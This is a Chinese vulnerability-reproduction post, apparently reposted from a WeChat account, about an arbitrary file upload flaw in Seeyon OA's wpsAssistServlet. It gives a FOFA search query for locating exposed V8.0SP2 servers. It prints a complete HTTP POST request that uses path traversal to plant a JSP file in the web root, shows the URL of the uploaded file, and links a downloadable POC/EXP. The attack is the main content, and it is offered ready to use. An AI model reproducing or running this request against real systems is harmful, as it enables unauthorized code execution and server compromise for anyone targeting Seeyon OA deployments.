免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
1. 致远OA简介
微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发
致远互联oa办公自动化软件系统,实现企业审批/报销/门户/公文/文档/采购/费用等综合管理,致远互联oa办公自动化软件系统,满足企业一体化办公需求。
2.漏洞描述
致远OA互联新一代智慧型协同运营平台以中台的架构和技术、协同、业务、连接、数据的专 业能力，夯实协同运营中台的落地效果；以移动化、AI智能推进前台的应用创新，实现企业轻量化、智能化业务场景，促进企业全过程管理能效，赋予企业协同工作和运营管理的新体验；在协同运营平台全面升级的基础上，V8.0深耕大型企业管理模式、运营机制，进一步强化“协同”在管理中的价值，推动大中型企业、集团企业、国资以及高新技术企业的管理模式升级，帮助企业构筑全程、全域、全端的运营和服务能力，提升人员效率和组织绩效，赋能企业数字化、智能化发展。该系统存在任意文件上传漏洞。
CVE编号:
CNNVD编号:
CNVD编号:
3.影响版本
致远互联-OA
4.fofa查询语句
app="致远互联-OA" && title="V8.0SP2"
5.漏洞复现
漏洞链接：https://127.0.0.1/seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/36011.jsp&fileId=2
漏洞数据包：
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/01014.jsp&fileId=2 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 217
Content-Type: multipart/form-data; boundary=a4d7586ac9d50625dee11e86fa69bc71--a4d7586ac9d50625dee11e86fa69bc71
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel
<% out.println("215882935");%>
--a4d7586ac9d50625dee11e86fa69bc71--
拼接上传的文件路径：https://127.0.0.1/01014.jsp
6.POC&EXP
链接：https://pan.baidu.com/s/1Q6OONA2t2RwdZggUP_jIZw?pwd=wq35 提取码：wq35
7.整改意见
打补丁或升级到最新版本
原文始发于微信公众号（南风漏洞复现文库）：致远OA wpsAssistServlet接口存在任意文件上传漏洞 附POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论